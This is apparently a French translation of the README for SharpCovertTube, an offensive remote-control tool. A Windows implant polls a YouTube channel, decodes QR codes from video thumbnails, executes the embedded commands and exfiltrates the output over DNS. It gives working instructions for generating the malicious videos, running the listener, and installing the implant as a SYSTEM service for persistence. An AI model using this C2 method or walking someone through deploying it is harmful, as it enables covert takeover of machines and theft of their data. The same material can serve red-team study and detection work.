
YouTube comme canal C2 - Contrôler des systèmes Windows en téléversant des vidéos QR sur YouTube
SharpCovertTube est un programme conçu pour contrôler des systèmes Windows à distance en téléchargeant des vidéos sur Youtube.
Le programme surveille une chaîne Youtube jusqu'à ce qu'une vidéo soit téléchargée, décode le code QR de la miniature de la vidéo téléchargée et exécute une commande. Les codes QR dans les vidéos peuvent utiliser des valeurs en clair ou chiffrées avec AES.
Il existe en deux versions : binaire et service binaire, et il inclut un script Python pour générer les vidéos malveillantes. Son objectif est de servir de méthode de persistance en utilisant uniquement des requêtes web vers l'API Google.

Exécutez l'écouteur sur votre système Windows :

Il vérifiera la chaîne Youtube toutes les X minutes (10 minutes par défaut) jusqu'à ce qu'une nouvelle vidéo soit téléchargée. Dans ce cas, nous téléchargeons "whoami.avi" depuis le dossier example-videos :
Après avoir détecté une nouvelle vidéo sur la chaîne, il décode le code QR de la miniature de la vidéo, exécute la commande et la réponse est encodée en base64 puis exfiltrée via DNS :

Cela fonctionne également pour les codes QR avec des charges utiles chiffrées en AES et des réponses de commandes plus longues. Dans cet exemple, le fichier "dirtemp_aes.avi" de example-videos est téléchargé et le contenu de c:\temp est exfiltré à l'aide de plusieurs requêtes DNS :

La journalisation dans un fichier est facultative mais vérifiez que le dossier existe, la valeur par défaut est "c:\temp\.sharpcoverttube.log", donc "c:\temp" doit exister.
L'exfiltration DNS est également facultative et peut être facilement testée avec le collaborator de Burp :

Comme alternative, j'ai créé un script pour créer facilement des vidéos QR, les télécharger sur Youtube, puis surveiller et analyser les requêtes DNS encodées en base64. La configuration pour utiliser ce script en tant que serveur C2 est expliquée dans le dossier c2-server :

Certaines valeurs peuvent être modifiées, que vous trouverez dans le fichier Configuration.cs pour le binaire standard et le binaire de service. Seules les deux premières valeurs doivent être mises à jour :

Vous pouvez générer les vidéos à l'aide du script serveur dans le dossier c2-server ou simplement en exécutant le script generate_video.py. Pour ce dernier, commencez par installer les dépendances :
pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus
Si vous utilisez Linux, vous pourriez également avoir besoin de :
apt-get install libgl1
Exécutez ensuite le script generate_video.py :
python generate_video.py -t TYPE -f FILE -c COMMAND [-k AESKEY] [-i AESIV]
TYPE (-t) doit être "qr" pour les charges utiles en clair ou "qr_aes" si vous utilisez le chiffrement AES.
FILE (-f) est le chemin où la vidéo est générée.
COMMAND (-c) est la commande à exécuter sur le système.
AESKEY (-k) est la clé pour le chiffrement AES, nécessaire uniquement si vous utilisez le type "qr_aes". Doit être une chaîne de 16 caractères identique à celle du fichier Program.cs dans SharpCovertTube.
AESIV (-i) est l'IV pour le chiffrement AES, nécessaire uniquement si vous utilisez le type "qr_aes". Doit être une chaîne de 16 caractères identique à celle du fichier Program.cs dans SharpCovertTube.
Générer une vidéo avec une valeur QR de "whoami" en clair dans le chemin c:\temp\whoami.avi :
python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami
Générer une vidéo avec une valeur QR chiffrée en AES pour "dir c:\windows\temp" avec la clé et l'IV "0000000000000000" dans le chemin c:\temp\dirtemp_aes.avi :
python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000

Vous trouverez le code pour l'exécuter en tant que service dans le dossier SharpCovertTube_Service. Il possède les mêmes fonctionnalités, à l'exception de l'auto-suppression, qui n'aurait pas de sens dans ce cas.
Il est possible de l'installer avec InstallUtil, il est préparé pour s'exécuter en tant qu'utilisateur SYSTEM et vous devez l'installer en tant qu'administrateur :
InstallUtil.exe SharpCovertTube_Service.exe
Vous pouvez ensuite le démarrer avec :
net start "SharpCovertTube Service"
